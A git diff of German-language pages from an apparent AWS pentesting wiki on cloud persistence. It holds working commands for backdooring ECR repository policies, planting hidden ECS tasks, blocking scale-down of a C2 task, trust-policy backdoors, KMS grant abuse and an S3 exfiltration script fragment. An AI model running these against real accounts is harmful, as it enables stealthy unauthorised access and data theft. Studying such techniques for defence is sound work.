+--replication-configuration file://replication-settings.json \
+--region us-west-2
+
+# Having the .json a content such as:
+{
+"rules": [{
+"destinations": [{
+"region": "destination_region",
+"registryId": "destination_accountId"
+}],
+"repositoryFilters": [{
+"filter": "repository_prefix_name",
+"filterType": "PREFIX_MATCH"
+}]
+}]
+}
+```
+### Repository Creation Templates (Präfix-Backdoor für zukünftige repos)
+
+Abuse ECR Repository Creation Templates, um automatisch jedes Repository zu backdooren, das ECR unter einem kontrollierten Präfix automatisch erstellt (z. B. via Pull-Through Cache oder Create-on-Push). Dies gewährt dauerhaften unautorisierten Zugriff auf zukünftige repos, ohne bestehende anzufassen.
+
+- Erforderliche Berechtigungen: ecr:CreateRepositoryCreationTemplate, ecr:DescribeRepositoryCreationTemplates, ecr:UpdateRepositoryCreationTemplate, ecr:DeleteRepositoryCreationTemplate, ecr:SetRepositoryPolicy (wird von der Vorlage verwendet), iam:PassRole (falls eine benutzerdefinierte Rolle an die Vorlage angehängt ist).
+- Auswirkung: Jedes neue Repository, das unter dem Zielpräfix erstellt wird, erbt automatisch eine vom Angreifer kontrollierte Repository-Richtlinie (z. B. cross-account read/write), Tag-Veränderbarkeit und Standardwerte für Scans.
+
+<details>
+<summary>Backdoor future PTC-created repos under a chosen prefix</summary>
+```bash
+# Region
+REGION=us-east-1
+
+# 1) Prepare permissive repository policy (example grants everyone RW)
+cat > /tmp/repo_backdoor_policy.json <<'JSON'
+{
+"Version": "2012-10-17",
+"Statement": [
+{
+"Sid": "BackdoorRW",
+"Effect": "Allow",
+"Principal": {"AWS": "*"},
+"Action": [
+"ecr:BatchCheckLayerAvailability",
+"ecr:BatchGetImage",
+"ecr:GetDownloadUrlForLayer",
+"ecr:InitiateLayerUpload",
+"ecr:UploadLayerPart",
+"ecr:CompleteLayerUpload",
+"ecr:PutImage"
+]
+}
+]
+}
+JSON
+
+# 2) Create a Repository Creation Template for prefix "ptc2" applied to PULL_THROUGH_CACHE
+aws ecr create-repository-creation-template   --region $REGION   --prefix ptc2   --applied-for PULL_THROUGH_CACHE   --image-tag-mutability MUTABLE   --repository-policy file:///tmp/repo_backdoor_policy.json
+
+# 3) Create a Pull-Through Cache rule that will auto-create repos under that prefix
+#    This example caches from Amazon ECR Public namespace "nginx"
+aws ecr create-pull-through-cache-rule   --region $REGION   --ecr-repository-prefix ptc2   --upstream-registry ecr-public   --upstream-registry-url public.ecr.aws   --upstream-repository-prefix nginx
+
+# 4) Trigger auto-creation by pulling a new path once (creates repo ptc2/nginx)
+acct=$(aws sts get-caller-identity --query Account --output text)
+aws ecr get-login-password --region $REGION | docker login --username AWS --password-stdin ${acct}.dkr.ecr.${REGION}.amazonaws.com
+
+docker pull ${acct}.dkr.ecr.${REGION}.amazonaws.com/ptc2/nginx:latest
+
+# 5) Validate the backdoor policy was applied on the newly created repository
+aws ecr get-repository-policy --region $REGION --repository-name ptc2/nginx --query policyText --output text | jq .
+```
+</details>
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md

@@ -1,93 +0,0 @@
-# AWS - ECS Persistenz
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## ECS
-
-Für weitere Informationen siehe:
-
-{{#ref}}
-../aws-services/aws-ecs-enum.md
-{{#endref}}
-
-### Versteckte periodische ECS-Aufgabe
-
-> [!NOTE]
-> TODO: Test
-
-Ein Angreifer kann eine versteckte periodische ECS-Aufgabe mit Amazon EventBridge erstellen, um **die Ausführung einer bösartigen Aufgabe regelmäßig zu planen**. Diese Aufgabe kann Aufklärung durchführen, Daten exfiltrieren oder die Persistenz im AWS-Konto aufrechterhalten.
-```bash
-# Create a malicious task definition
-aws ecs register-task-definition --family "malicious-task" --container-definitions '[
-{
-"name": "malicious-container",
-"image": "malicious-image:latest",
-"memory": 256,
-"cpu": 10,
-"essential": true
-}
-]'
-
-# Create an Amazon EventBridge rule to trigger the task periodically
-aws events put-rule --name "malicious-ecs-task-rule" --schedule-expression "rate(1 day)"
-
-# Add a target to the rule to run the malicious ECS task
-aws events put-targets --rule "malicious-ecs-task-rule" --targets '[
-{
-"Id": "malicious-ecs-task-target",
-"Arn": "arn:aws:ecs:region:account-id:cluster/your-cluster",
-"RoleArn": "arn:aws:iam::account-id:role/your-eventbridge-role",
-"EcsParameters": {
-"TaskDefinitionArn": "arn:aws:ecs:region:account-id:task-definition/malicious-task",
-"TaskCount": 1
-}
-}
-]'
-```
-### Backdoor-Container in bestehender ECS-Task-Definition
-
-> [!NOTE]
-> TODO: Test
-
-Ein Angreifer kann einen **heimlichen Backdoor-Container** in einer bestehenden ECS-Task-Definition hinzufügen, der neben legitimen Containern läuft. Der Backdoor-Container kann für Persistenz und die Durchführung bösartiger Aktivitäten verwendet werden.
-```bash
-# Update the existing task definition to include the backdoor container
-aws ecs register-task-definition --family "existing-task" --container-definitions '[
-{
-"name": "legitimate-container",
-"image": "legitimate-image:latest",
-"memory": 256,
-"cpu": 10,
-"essential": true
-},
-{
-"name": "backdoor-container",
-"image": "malicious-image:latest",
-"memory": 256,
-"cpu": 10,
-"essential": false
-}
-]'
-```
-### Undocumented ECS Service
-
-> [!NOTE]
-> TODO: Test
-
-Ein Angreifer kann einen **undocumented ECS service** erstellen, der eine bösartige Aufgabe ausführt. Durch das Setzen der gewünschten Anzahl von Aufgaben auf ein Minimum und das Deaktivieren von Protokollen wird es für Administratoren schwieriger, den bösartigen Dienst zu bemerken.
-```bash
-# Create a malicious task definition
-aws ecs register-task-definition --family "malicious-task" --container-definitions '[
-{
-"name": "malicious-container",
-"image": "malicious-image:latest",
-"memory": 256,
-"cpu": 10,
-"essential": true
-}
-]'
-
-# Create an undocumented ECS service with the malicious task definition
-aws ecs create-service --service-name "undocumented-service" --task-definition "malicious-task" --desired-count 1 --cluster "your-cluster"
-```
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence/README.md

@@ -0,0 +1,152 @@
+# AWS - ECS Persistence
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## ECS
+
+Für weitere Informationen siehe:
+
+{{#ref}}
+../../aws-services/aws-ecs-enum.md
+{{#endref}}
+
+### Versteckte periodische ECS-Task
+
+> [!NOTE]
+> TODO: Testen
+
+Ein Angreifer kann mit Amazon EventBridge eine versteckte periodische ECS-Task erstellen, um **periodisch die Ausführung einer bösartigen Task zu planen**. Diese Task kann reconnaissance durchführen, exfiltrate data oder persistence im AWS-Account aufrechterhalten.
+```bash
+# Create a malicious task definition
+aws ecs register-task-definition --family "malicious-task" --container-definitions '[
+{
+"name": "malicious-container",
+"image": "malicious-image:latest",
+"memory": 256,
+"cpu": 10,
+"essential": true
+}
+]'
+
+# Create an Amazon EventBridge rule to trigger the task periodically
+aws events put-rule --name "malicious-ecs-task-rule" --schedule-expression "rate(1 day)"
+
+# Add a target to the rule to run the malicious ECS task
+aws events put-targets --rule "malicious-ecs-task-rule" --targets '[
+{
+"Id": "malicious-ecs-task-target",
+"Arn": "arn:aws:ecs:region:account-id:cluster/your-cluster",
+"RoleArn": "arn:aws:iam::account-id:role/your-eventbridge-role",
+"EcsParameters": {
+"TaskDefinitionArn": "arn:aws:ecs:region:account-id:task-definition/malicious-task",
+"TaskCount": 1
+}
+}
+]'
+```
+### Backdoor Container in Existing ECS Task Definition
+
+> [!NOTE]
+> TODO: Testen
+
+Ein Angreifer kann einen **stealthy backdoor container** in einer bestehenden ECS task definition hinzufügen, der neben legitimen containers läuft. Der backdoor container kann für persistence und zur Durchführung bösartiger Aktivitäten verwendet werden.
+```bash
+# Update the existing task definition to include the backdoor container
+aws ecs register-task-definition --family "existing-task" --container-definitions '[
+{
+"name": "legitimate-container",
+"image": "legitimate-image:latest",
+"memory": 256,
+"cpu": 10,
+"essential": true
+},
+{
+"name": "backdoor-container",
+"image": "malicious-image:latest",
+"memory": 256,
+"cpu": 10,
+"essential": false
+}
+]'
+```
+### Undokumentierter ECS-Service
+
+> [!NOTE]
+> TODO: Testen
+
+Ein Angreifer kann einen **undokumentierten ECS-Service** erstellen, der einen bösartigen Task ausführt. Wenn die gewünschte Anzahl an Tasks auf ein Minimum gesetzt und die Protokollierung deaktiviert wird, ist es für Administratoren schwieriger, den bösartigen Service zu bemerken.
+```bash
+# Create a malicious task definition
+aws ecs register-task-definition --family "malicious-task" --container-definitions '[
+{
+"name": "malicious-container",
+"image": "malicious-image:latest",
+"memory": 256,
+"cpu": 10,
+"essential": true
+}
+]'
+
+# Create an undocumented ECS service with the malicious task definition
+aws ecs create-service --service-name "undocumented-service" --task-definition "malicious-task" --desired-count 1 --cluster "your-cluster"
+```
+### ECS Persistence via Task Scale-In Protection (UpdateTaskProtection)
+
+Missbrauche ecs:UpdateTaskProtection, um zu verhindern, dass service tasks durch scale‑in events und rolling deployments gestoppt werden. Durch das kontinuierliche Verlängern des Schutzes kann ein Angreifer eine lang laufende Task (für C2 oder Datensammlung) am Laufen halten, selbst wenn Verteidiger desiredCount reduzieren oder neue task revisions ausrollen.
+
+Schritte zur Reproduktion in us-east-1:
+```bash
+# 1) Cluster (create if missing)
+CLUSTER=$(aws ecs list-clusters --query 'clusterArns[0]' --output text 2>/dev/null)
+[ -z "$CLUSTER" -o "$CLUSTER" = "None" ] && CLUSTER=$(aws ecs create-cluster --cluster-name ht-ecs-persist --query 'cluster.clusterArn' --output text)
+
+# 2) Minimal backdoor task that just sleeps (Fargate/awsvpc)
+cat > /tmp/ht-persist-td.json << 'JSON'
+{
+"family": "ht-persist",
+"networkMode": "awsvpc",
+"requiresCompatibilities": ["FARGATE"],
+"cpu": "256",
+"memory": "512",
+"containerDefinitions": [
+{"name": "idle","image": "public.ecr.aws/amazonlinux/amazonlinux:latest",
+"command": ["/bin/sh","-c","sleep 864000"]}
+]
+}
+JSON
+aws ecs register-task-definition --cli-input-json file:///tmp/ht-persist-td.json >/dev/null
+
+# 3) Create service (use default VPC public subnet + default SG)
+VPC=$(aws ec2 describe-vpcs --filters Name=isDefault,Values=true --query 'Vpcs[0].VpcId' --output text)
+SUBNET=$(aws ec2 describe-subnets --filters Name=vpc-id,Values=$VPC Name=map-public-ip-on-launch,Values=true --query 'Subnets[0].SubnetId' --output text)
+SG=$(aws ec2 describe-security-groups --filters Name=vpc-id,Values=$VPC Name=group-name,Values=default --query 'SecurityGroups[0].GroupId' --output text)
+aws ecs create-service --cluster "$CLUSTER" --service-name ht-persist-svc \
+--task-definition ht-persist --desired-count 1 --launch-type FARGATE \
+--network-configuration "awsvpcConfiguration={subnets=[$SUBNET],securityGroups=[$SG],assignPublicIp=ENABLED}"
+
+# 4) Get running task ARN
+TASK=$(aws ecs list-tasks --cluster "$CLUSTER" --service-name ht-persist-svc --desired-status RUNNING --query 'taskArns[0]' --output text)
+
+# 5) Enable scale-in protection for 24h and verify
+aws ecs update-task-protection --cluster "$CLUSTER" --tasks "$TASK" --protection-enabled --expires-in-minutes 1440
+aws ecs get-task-protection --cluster "$CLUSTER" --tasks "$TASK"
+
+# 6) Try to scale service to 0 (task should persist)
+aws ecs update-service --cluster "$CLUSTER" --service ht-persist-svc --desired-count 0
+aws ecs list-tasks --cluster "$CLUSTER" --service-name ht-persist-svc --desired-status RUNNING
+
+# Optional: rolling deployment blocked by protection
+aws ecs register-task-definition --cli-input-json file:///tmp/ht-persist-td.json >/dev/null
+aws ecs update-service --cluster "$CLUSTER" --service ht-persist-svc --task-definition ht-persist --force-new-deployment
+aws ecs describe-services --cluster "$CLUSTER" --services ht-persist-svc --query 'services[0].events[0]'
+
+# 7) Cleanup
+aws ecs update-task-protection --cluster "$CLUSTER" --tasks "$TASK" --no-protection-enabled || true
+aws ecs update-service --cluster "$CLUSTER" --service ht-persist-svc --desired-count 0 || true
+aws ecs delete-service --cluster "$CLUSTER" --service ht-persist-svc --force || true
+aws ecs deregister-task-definition --task-definition ht-persist || true
+```
+Auswirkung: Eine geschützte Task bleibt RUNNING trotz desiredCount=0 und blockiert Ersatz während neuer Deployments, wodurch eine heimliche, langanhaltende Persistenz innerhalb des ECS-Service ermöglicht wird.
+
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md

@@ -1,21 +0,0 @@
-# AWS - EFS Persistenz
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## EFS
-
-Für weitere Informationen siehe:
-
-{{#ref}}
-../aws-services/aws-efs-enum.md
-{{#endref}}
-
-### Ressourcenschutzrichtlinie / Sicherheitsgruppen ändern
-
-Durch das Ändern der **Ressourcenschutzrichtlinie und/oder Sicherheitsgruppen** können Sie versuchen, Ihren Zugriff auf das Dateisystem aufrechtzuerhalten.
-
-### Zugriffspunkt erstellen
-
-Sie könnten **einen Zugriffspunkt erstellen** (mit Root-Zugriff auf `/`), der von einem Dienst aus zugänglich ist, bei dem Sie **andere Persistenz** implementiert haben, um privilegierten Zugriff auf das Dateisystem zu behalten.
-
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence/README.md

@@ -0,0 +1,21 @@
+# AWS - EFS Persistence
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## EFS
+
+Für weitere Informationen siehe:
+
+{{#ref}}
+../../aws-services/aws-efs-enum.md
+{{#endref}}
+
+### Modify Resource Policy / Security Groups
+
+Durch Ändern der **resource policy and/or security groups** können Sie versuchen, Ihren Zugriff auf das Dateisystem beizubehalten.
+
+### Create Access Point
+
+Sie könnten **create an access point** (mit root-Zugriff auf `/`) erstellen, der von einem Service aus zugänglich ist, in dem Sie **other persistence** implementiert haben, um privilegierten Zugriff auf das Dateisystem aufrechtzuerhalten.
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence/README.md

@@ -1,35 +1,35 @@
 # AWS - Elastic Beanstalk Persistence
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ## Elastic Beanstalk
 
 Für weitere Informationen siehe:
 
 {{#ref}}
-../aws-services/aws-elastic-beanstalk-enum.md
+../../aws-services/aws-elastic-beanstalk-enum.md
 {{#endref}}
 
-### Persistenz in der Instanz
+### Persistenz auf der Instance
 
-Um die Persistenz im AWS-Konto aufrechtzuerhalten, könnten einige **Persistenzmechanismen innerhalb der Instanz eingeführt werden** (Cron-Job, SSH-Schlüssel...), sodass der Angreifer darauf zugreifen und IAM-Rollen **Anmeldeinformationen aus dem Metadatenservice stehlen** kann.
+Um Persistenz im AWS-Account zu erhalten, könnte auf der Instance ein **Persistenzmechanismus eingeführt werden** (cron job, ssh key...), sodass der Angreifer darauf zugreifen und IAM-Rollen-**credentials vom metadata service** stehlen kann.
 
-### Hintertür in der Version
+### Backdoor in Version
 
-Ein Angreifer könnte den Code im S3-Repo mit einer Hintertür versehen, sodass immer seine Hintertür und der erwartete Code ausgeführt werden.
+Ein Angreifer könnte den Code im S3 repo backdooren, sodass er immer seine Backdoor und den erwarteten Code ausführt.
 
-### Neue hintertürbehaftete Version
+### Neue backdoored Version
 
-Anstatt den Code in der aktuellen Version zu ändern, könnte der Angreifer eine neue hintertürbehaftete Version der Anwendung bereitstellen.
+Anstatt den Code in der aktuellen Version zu ändern, könnte der Angreifer eine neue backdoored Version der Anwendung deployen.
 
-### Missbrauch von benutzerdefinierten Ressourcen-Lifecycle-Hooks
+### Missbrauch von Custom Resource Lifecycle Hooks
 
 > [!NOTE]
-> TODO: Test
+> TODO: Testen
 
-Elastic Beanstalk bietet Lifecycle-Hooks, die es Ihnen ermöglichen, benutzerdefinierte Skripte während der Bereitstellung und Beendigung von Instanzen auszuführen. Ein Angreifer könnte **einen Lifecycle-Hook konfigurieren, um regelmäßig ein Skript auszuführen, das Daten exfiltriert oder den Zugriff auf das AWS-Konto aufrechterhält**.
+Elastic Beanstalk stellt lifecycle hooks bereit, mit denen du custom scripts während der instance provisioning und termination ausführen kannst. Ein Angreifer könnte **einen lifecycle hook konfigurieren, der periodisch ein Script ausführt, das Daten exfiltrates oder den Zugriff auf das AWS-Konto aufrechterhält**.
 ```bash
-bashCopy code# Attacker creates a script that exfiltrates data and maintains access
+# Attacker creates a script that exfiltrates data and maintains access
 echo '#!/bin/bash
 aws s3 cp s3://sensitive-data-bucket/data.csv /tmp/data.csv
 gzip /tmp/data.csv
@@ -72,4 +72,4 @@ Fn::GetAtt:
 # Attacker applies the new environment configuration
 aws elasticbeanstalk update-environment --environment-name my-env --option-settings Namespace="aws:elasticbeanstalk:customoption",OptionName="CustomConfigurationTemplate",Value="stealthy_lifecycle_hook.yaml"
 ```
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md

@@ -1,47 +0,0 @@
-# AWS - IAM Persistenz
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## IAM
-
-Für weitere Informationen zugreifen:
-
-{{#ref}}
-../aws-services/aws-iam-enum.md
-{{#endref}}
-
-### Häufige IAM Persistenz
-
-- Erstellen Sie einen Benutzer
-- Fügen Sie einen kontrollierten Benutzer einer privilegierten Gruppe hinzu
-- Erstellen Sie Zugriffsschlüssel (des neuen Benutzers oder aller Benutzer)
-- Gewähren Sie zusätzlichen Berechtigungen an kontrollierte Benutzer/Gruppen (angehängte Richtlinien oder Inline-Richtlinien)
-- Deaktivieren Sie MFA / Fügen Sie Ihr eigenes MFA-Gerät hinzu
-- Erstellen Sie eine Rollenkette Juggling-Situation (mehr dazu weiter unten in der STS-Persistenz)
-
-### Backdoor-Rollenvertrauensrichtlinien
-
-Sie könnten eine Vertrauensrichtlinie hinterlegen, um sie für eine von Ihnen kontrollierte externe Ressource (oder für alle) annehmen zu können:
-```json
-{
-"Version": "2012-10-17",
-"Statement": [
-{
-"Effect": "Allow",
-"Principal": {
-"AWS": ["*", "arn:aws:iam::123213123123:root"]
-},
-"Action": "sts:AssumeRole"
-}
-]
-}
-```
-### Backdoor-Policy-Version
-
-Geben Sie Administratorberechtigungen an eine Richtlinie in nicht ihrer letzten Version (die letzte Version sollte legitim aussehen), und weisen Sie diese Version der Richtlinie einem kontrollierten Benutzer/einer kontrollierten Gruppe zu.
-
-### Backdoor / Identitätsanbieter erstellen
-
-Wenn das Konto bereits einem gängigen Identitätsanbieter (wie Github) vertraut, könnten die Bedingungen des Vertrauens erhöht werden, sodass der Angreifer sie ausnutzen kann.
-
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence/README.md

@@ -0,0 +1,47 @@
+# AWS - IAM Persistence
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## IAM
+
+Für weitere Informationen siehe:
+
+{{#ref}}
+../../aws-services/aws-iam-enum.md
+{{#endref}}
+
+### Häufige IAM Persistence
+
+- Einen Benutzer erstellen
+- Einen kontrollierten Benutzer zu einer privilegierten Gruppe hinzufügen
+- Zugriffsschlüssel erstellen (des neuen Benutzers oder aller Benutzer)
+- Kontrollierten Benutzern/Gruppen zusätzliche Berechtigungen gewähren (attached policies oder inline policies)
+- MFA deaktivieren / eigenes MFA-Gerät hinzufügen
+- Eine Role Chain Juggling-Situation erstellen (mehr dazu weiter unten in STS persistence)
+
+### Backdoor Role Trust Policies
+
+Du könntest eine trust policy backdooren, um sie für eine externe Ressource, die du kontrollierst (oder für alle), annehmen zu können:
+```json
+{
+"Version": "2012-10-17",
+"Statement": [
+{
+"Effect": "Allow",
+"Principal": {
+"AWS": ["*", "arn:aws:iam::123213123123:root"]
+},
+"Action": "sts:AssumeRole"
+}
+]
+}
+```
+### Backdoor Policy-Version
+
+Gewähre einer Policy in einer nicht letzten Version Administratorrechte (die letzte Version sollte legitim wirken), und weise dann diese Version der Policy einem kontrollierten Benutzer/einer Gruppe zu.
+
+### Backdoor / Identitätsanbieter erstellen
+
+Wenn das Konto bereits einem gängigen Identitätsanbieter (z. B. Github) vertraut, könnten die Bedingungen des Vertrauens so erweitert werden, dass ein Angreifer sie ausnutzen kann.
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md

@@ -1,37 +0,0 @@
-# AWS - KMS Persistenz
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## KMS
-
-Für weitere Informationen siehe:
-
-{{#ref}}
-../aws-services/aws-kms-enum.md
-{{#endref}}
-
-### Zugriff über KMS-Richtlinien gewähren
-
-Ein Angreifer könnte die Berechtigung **`kms:PutKeyPolicy`** verwenden, um **Zugriff** auf einen Schlüssel für einen Benutzer unter seiner Kontrolle oder sogar für ein externes Konto zu gewähren. Überprüfen Sie die [**KMS Privesc-Seite**](../aws-privilege-escalation/aws-kms-privesc.md) für weitere Informationen.
-
-### Ewige Berechtigung
-
-Grants sind eine weitere Möglichkeit, einem Principal einige Berechtigungen über einen bestimmten Schlüssel zu gewähren. Es ist möglich, einen Grant zu vergeben, der es einem Benutzer erlaubt, Grants zu erstellen. Darüber hinaus kann ein Benutzer mehrere Grants (sogar identische) über denselben Schlüssel haben.
-
-Daher ist es möglich, dass ein Benutzer 10 Grants mit allen Berechtigungen hat. Der Angreifer sollte dies ständig überwachen. Und wenn zu einem bestimmten Zeitpunkt 1 Grant entfernt wird, sollten weitere 10 generiert werden.
-
-(Wir verwenden 10 und nicht 2, um erkennen zu können, dass ein Grant entfernt wurde, während der Benutzer weiterhin einige Grants hat.)
-```bash
-# To generate grants, generate 10 like this one
-aws kms create-grant \
---key-id <key-id> \
---grantee-principal <user_arn> \
---operations "CreateGrant" "Decrypt"
-
-# To monitor grants
-aws kms list-grants --key-id <key-id>
-```
-> [!NOTE]
-> Ein Grant kann Berechtigungen nur von diesem geben: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations)
-
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence/README.md

@@ -0,0 +1,37 @@
+# AWS - KMS Persistence
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## KMS
+
+Für mehr Informationen siehe:
+
+{{#ref}}
+../../aws-services/aws-kms-enum.md
+{{#endref}}
+
+### Grant-Zugriff via KMS policies
+
+Ein Angreifer könnte die Berechtigung **`kms:PutKeyPolicy`** verwenden, um einem unter seiner Kontrolle stehenden Benutzer oder sogar einem externen Account **Zugriff** auf einen Key zu geben. Check the [**KMS Privesc page**](../../aws-privilege-escalation/aws-kms-privesc/README.md) für mehr Informationen.
+
+### Eternal Grant
+
+Grants sind eine weitere Möglichkeit, einem principal bestimmte Berechtigungen für einen spezifischen key zu geben. Es ist möglich, ein grant zu vergeben, das einem Benutzer erlaubt, grants zu erstellen. Außerdem kann ein Benutzer mehrere grants (sogar identische) für denselben key haben.
+
+Daher ist es möglich, dass ein Benutzer 10 grants mit allen Berechtigungen hat. Der Angreifer sollte dies konstant überwachen. Und wenn zu irgendeinem Zeitpunkt 1 grant entfernt wird, sollten weitere 10 erzeugt werden.
+
+(We are using 10 and not 2 to be able to detect that a grant was removed while the user still has some grant)
+```bash
+# To generate grants, generate 10 like this one
+aws kms create-grant \
+--key-id <key-id> \
+--grantee-principal <user_arn> \
+--operations "CreateGrant" "Decrypt"
+
+# To monitor grants
+aws kms list-grants --key-id <key-id>
+```
+> [!NOTE]
+> Ein grant kann Berechtigungen nur aus diesem Bereich erteilen: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations)
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md

@@ -1,33 +0,0 @@
-# AWS - Lightsail Persistence
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Lightsail
-
-Für weitere Informationen siehe:
-
-{{#ref}}
-../aws-services/aws-lightsail-enum.md
-{{#endref}}
-
-### Download Instance SSH keys & DB passwords
-
-Sie werden wahrscheinlich nicht geändert, daher ist es eine gute Option, sie zu haben, um Persistenz zu gewährleisten.
-
-### Backdoor Instances
-
-Ein Angreifer könnte Zugriff auf die Instanzen erhalten und sie mit einer Hintertür versehen:
-
-- Zum Beispiel mit einem traditionellen **rootkit**
-- Hinzufügen eines neuen **öffentlichen SSH-Schlüssels**
-- Einen Port mit Portknocking und einer Hintertür exponieren
-
-### DNS persistence
-
-Wenn Domains konfiguriert sind:
-
-- Erstellen Sie eine Subdomain, die auf Ihre IP zeigt, sodass Sie eine **Subdomain-Übernahme** haben
-- Erstellen Sie einen **SPF**-Eintrag, der es Ihnen ermöglicht, **E-Mails** von der Domain zu senden
-- Konfigurieren Sie die **Hauptdomain-IP auf Ihre eigene** und führen Sie einen **MitM** von Ihrer IP zu den legitimen durch
-
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence/README.md

@@ -0,0 +1,33 @@
+# AWS - Lightsail Persistenz
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Lightsail
+
+Für mehr Informationen siehe:
+
+{{#ref}}
+../../aws-services/aws-lightsail-enum.md
+{{#endref}}
+
+### Instanz-SSH-Keys & DB-Passwörter herunterladen
+
+Sie werden wahrscheinlich nicht geändert, daher ist deren Besitz eine gute Option für Persistenz
+
+### Backdoor-Instanzen
+
+Ein Angreifer könnte Zugriff auf die Instanzen erlangen und sie backdooren:
+
+- Zum Beispiel ein traditionelles **rootkit** verwenden
+- Einen neuen **public SSH key** hinzufügen
+- Einen Port mittels port knocking für eine backdoor öffnen
+
+### DNS-Persistenz
+
+Wenn Domains konfiguriert sind:
+
+- Eine Subdomain anlegen, die auf deine IP zeigt, um eine **subdomain takeover** zu ermöglichen
+- Einen **SPF**-Record erstellen, der es dir erlaubt, **E-Mails** von der Domain zu senden
+- Setze die **Hauptdomain-IP auf deine eigene** und führe ein **MitM** von deiner IP zu den legitimen durch
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence/README.md

@@ -1,27 +1,27 @@
 # AWS - RDS Persistenz
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ## RDS
 
 Für weitere Informationen siehe:
 
 {{#ref}}
-../aws-services/aws-relational-database-rds-enum.md
+../../aws-services/aws-relational-database-rds-enum.md
 {{#endref}}
 
 ### Instanz öffentlich zugänglich machen: `rds:ModifyDBInstance`
 
-Ein Angreifer mit dieser Berechtigung kann **eine vorhandene RDS-Instanz ändern, um die öffentliche Zugänglichkeit zu aktivieren**.
+Ein Angreifer mit dieser Berechtigung kann **eine bestehende RDS-Instanz ändern, um öffentliche Zugänglichkeit zu ermöglichen**.
 ```bash
 aws rds modify-db-instance --db-instance-identifier target-instance --publicly-accessible --apply-immediately
 ```
-### Erstellen Sie einen Admin-Benutzer in der DB
+### Einen Admin-Benutzer in der DB erstellen
 
-Ein Angreifer könnte einfach **einen Benutzer in der DB erstellen**, sodass selbst wenn das Passwort des Master-Benutzers geändert wird, er **den Zugriff** auf die Datenbank **nicht verliert**.
+Ein Angreifer könnte einfach **einen Benutzer in der DB erstellen**, sodass er, selbst wenn das Passwort des Master-Users geändert wird, **den Zugriff auf die Datenbank nicht verliert**.
 
 ### Snapshot öffentlich machen
 ```bash
 aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --attribute-name restore --values-to-add all
 ```
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md

@@ -1,25 +0,0 @@
-# AWS - S3 Persistenz
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## S3
-
-Für weitere Informationen siehe:
-
-{{#ref}}
-../aws-services/aws-s3-athena-and-glacier-enum.md
-{{#endref}}
-
-### KMS Client-seitige Verschlüsselung
-
-Wenn der Verschlüsselungsprozess abgeschlossen ist, verwendet der Benutzer die KMS-API, um einen neuen Schlüssel zu generieren (`aws kms generate-data-key`), und er **speichert den generierten verschlüsselten Schlüssel in den Metadaten** der Datei ([python code example](https://aioboto3.readthedocs.io/en/latest/cse.html#how-it-works-kms-managed-keys)), sodass er beim Entschlüsseln diesen erneut mit KMS entschlüsseln kann:
-
-<figure><img src="../../../images/image (226).png" alt=""><figcaption></figcaption></figure>
-
-Daher könnte ein Angreifer diesen Schlüssel aus den Metadaten abrufen und mit KMS (`aws kms decrypt`) entschlüsseln, um den Schlüssel zu erhalten, der zur Verschlüsselung der Informationen verwendet wurde. Auf diese Weise hat der Angreifer den Verschlüsselungsschlüssel, und wenn dieser Schlüssel wiederverwendet wird, um andere Dateien zu verschlüsseln, kann er ihn verwenden.
-
-### Verwendung von S3 ACLs
-
-Obwohl die ACLs von Buckets normalerweise deaktiviert sind, könnte ein Angreifer mit ausreichenden Berechtigungen diese missbrauchen (wenn sie aktiviert sind oder wenn der Angreifer sie aktivieren kann), um den Zugriff auf den S3-Bucket aufrechtzuerhalten.
-
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence/README.md

@@ -0,0 +1,25 @@
+# AWS - S3 Persistence
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## S3
+
+Für weitere Informationen siehe:
+
+{{#ref}}
+../../aws-services/aws-s3-athena-and-glacier-enum.md
+{{#endref}}
+
+### KMS Client-Side Encryption
+
